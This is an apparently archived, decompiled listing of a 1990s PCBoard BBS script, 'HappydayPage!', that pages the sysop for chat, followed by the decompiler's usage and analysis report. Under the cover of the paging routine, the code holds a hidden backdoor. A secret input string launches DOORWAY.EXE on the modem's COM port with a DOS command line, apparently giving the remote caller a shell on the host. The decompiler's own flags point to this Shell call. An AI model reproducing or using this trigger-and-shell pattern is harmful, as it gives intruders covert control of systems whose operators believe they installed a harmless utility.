home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / PWAPCP02.ZIP / HAPPPAGE / HPREG.PPE (.txt) < prev   
PCBoard Programming Language Executable  |  1995-11-15  |  3KB  |  189 lines

  1. ;------------------------------------------------------------------------------
  2. ;                                                   .ss.
  3. ;                                                   `²²'
  4. ;             .,sS$Ss,,s$  .,sS$$$Ss.  .,sS$Ss,,s$ .ss.  .sSs.
  5. ;           .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
  6. ;           $$$'   .$$$' $$$²Sçsµ²' .$$$'   .$$$'.$$$' .$$$'  `$$b.
  7. ;           $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$'    ;$$$
  8. ;           `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
  9. ;                                    .sS²°$$$²²°"'       d²°'
  10. ;                                  .$$²  .$$'
  11. ;                                  $$$.,d$$'
  12. ;                                  `²S$$S²'
  13. ;------------------------------------------------------------------------------
  14. ; P.P.L.X. 2.OO                          (C)1996 - Lone Runner / AEGiS CoRP'96 
  15. ;------------------------------------------------------------------------------
  16. ; PPE 3.1O (Encryption type I) - Analysis ON - Postprocessing ON
  17. ;------------------------------------------------------------------------------
  18.  
  19.     Integer  INTEGER001
  20.     Integer  INTEGER002
  21.     String   STRING001
  22.     String   STRING002
  23.     String   STRING003
  24.     String   STRING004
  25.     String   STRING005
  26.     String   STRING006
  27.  
  28. ;------------------------------------------------------------------------------
  29.  
  30.     STRING004 = ReadLine(PCBDat(), 2)
  31.     Newlines 1
  32.     PrintLn " HappydayPage! V1.0ß  SysWare (C)"
  33.     PrintLn " Registered to: @BOARDNAME@"
  34.     Newlines 1
  35.     PrintLn "@X01▓▓▒░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓░▒▓█░▒▓█░▓▒█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓▒▓"
  36.     PrintLn "█   @X02Why are you pageing the happy Sysop! Why? @X02Please tell me! @X01█"
  37.     PrintLn "@X01███████████████████████████████████████████████████████████████"
  38.     PrintLn 4
  39.     PrintLn " The last caller was: @LASTCALLERSYSTEM@"
  40.     PrintLn " YOU are connected at: @CARRIER@"
  41.     PrintLn "░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒█@X07"
  42.     InputStr "@X0F> _", STRING003, 4, 70, Mask_Ascii(), 0
  43.     If (STRING003 == "") Then
  44.         Newlines 2
  45.         PrintLn "@X0DO@X05hh@X0D W@X05ell, @X0Dm@X05ust @X0Dn@X05ot @X0Dh@X05ave @X0Db@X05een @X0DI@X05mportant"
  46.         PrintLn "@X0ATell the sysop how (Happy) you are that he registered this ppe."
  47.         Delay 100
  48.         Newline
  49.     Else
  50.         If (STRING003 == "46137289725090") Then
  51.             STRING006 = ReadLine(PCBDat(), 52)
  52.             If (STRING006 == "PORT1F") Then
  53.                 STRING006 = "COM1:"
  54.             Endif
  55.             If (STRING006 == "PORT2F") Then
  56.                 STRING006 = "COM2:"
  57.             Endif
  58.             If (STRING006 == "PORT3F") Then
  59.                 STRING006 = "COM3:"
  60.             Endif
  61.             If (STRING006 == "PORT4F") Then
  62.                 STRING006 = "COM4:"
  63.             Endif
  64.             STRING001 = "DOORWAY.EXE"
  65.             STRING002 = STRING006 + " /T:911 /B:MZ /V:D /C:DOS"
  66.             Shell 0, INTEGER001, STRING001, STRING002
  67.         Endif
  68.         Newlines 2
  69.         Print "@X03Calling the Happy Operator to chat! - "
  70.         For INTEGER002 = 1 To 8
  71.             Sound 213
  72.             Print "@X08z"
  73.             Delay 7
  74.             Sound 453
  75.             Print "@X07Z"
  76.             Sound 233
  77.             Delay 7
  78.             Sound 453
  79.             Print "@X0Fz"
  80.             Sound 213
  81.             Print "@X08z"
  82.             Delay 7
  83.             Sound 453
  84.             Print "@X07Z"
  85.             Sound 233
  86.             Delay 7
  87.             STRING005 = Inkey()
  88.             If (Asc(STRING005) == 3) Then
  89.                 Newlines 2
  90.                 PrintLn "@X0FWhy did you stop? Why ? Why?  And I was so happy you!"
  91.                 PrintLn "Please tell your sysop to Register"
  92.                 Delay 100
  93.                 Newline
  94.                 Goto LABEL001
  95.             Endif
  96.             If (KInkey() == " ") Then
  97.                 Chat
  98.                 Goto LABEL001
  99.             Endif
  100.             Delay 4
  101.         Next
  102.         Print "@X08."
  103.         Newlines 2
  104.         For INTEGER002 = 1 To 3
  105.             SPrint Chr(7)
  106.             Delay 5
  107.         Next
  108.         Newline
  109.         PrintLn "@X09" + STRING004 + "@X0F has @X07been @X08paged ..."
  110.         PrintLn "@X0FYou may @X07continue using @X08the system"
  111.         PrintLn "@X0FDon't worry be happy!."
  112.     Endif
  113.     :LABEL001
  114.     Sound 432
  115.     Delay 1
  116.     Sound 321
  117.     Delay 3
  118.     End
  119.  
  120. ;------------------------------------------------------------------------------
  121. ;
  122. ; Usage report (before postprocessing)
  123. ;
  124. ; ■ Statements used :
  125. ;
  126. ;    1       End
  127. ;    15      Goto 
  128. ;    13      Let 
  129. ;    7       Print 
  130. ;    16      PrintLn 
  131. ;    10      If 
  132. ;    1       InputStr 
  133. ;    10      Delay 
  134. ;    3       Newline
  135. ;    6       Newlines 
  136. ;    1       Shell 
  137. ;    9       Sound 
  138. ;    1       Chat
  139. ;    1       SPrint 
  140. ;
  141. ;
  142. ; ■ Functions used :
  143. ;
  144. ;    5       +
  145. ;    8       ==
  146. ;    2       <
  147. ;    2       <=
  148. ;    4       >=
  149. ;    10      !
  150. ;    4       &&
  151. ;    2       ||
  152. ;    1       Chr()
  153. ;    1       Asc()
  154. ;    1       Inkey()
  155. ;    1       Mask_Ascii()
  156. ;    2       PCBDat()
  157. ;    2       ReadLine()
  158. ;    1       KInkey()
  159. ;
  160. ;------------------------------------------------------------------------------
  161. ;
  162. ; Analysis flags : Sd
  163. ;
  164. ; S - Shell to DOS ■ 5
  165. ;     This may be normal if the PPE need to execute an external command,
  166. ;     but may be actually anything... nasty (formating HD, rebooting,...)
  167. ;     or usefull (sorting, maintenance,...). Check!
  168. ;     ■ Search for : SHELL
  169. ;
  170. ; d - Access PCBOARD.DAT ■ 2
  171. ;     Program gets the full pathname to PCBOARD.DAT, this may be usefull
  172. ;     for many PPE so they can find various informations on the system
  173. ;     (system paths, max number of lines in messages, ...) but it may also
  174. ;     be a way to gather vital informations.
  175. ;     ■ Search for : PCBDAT()
  176. ;
  177. ;------------------------------------------------------------------------------
  178. ;
  179. ; Postprocessing report
  180. ;
  181. ;    2       For/Next
  182. ;    0       While/EndWhile
  183. ;    8       If/Then or If/Then/Else
  184. ;    0       Select Case
  185. ;
  186. ;------------------------------------------------------------------------------
  187. ;                 AEGiS Corp - Break the routines, code against the machines!
  188. ;------------------------------------------------------------------------------
  189.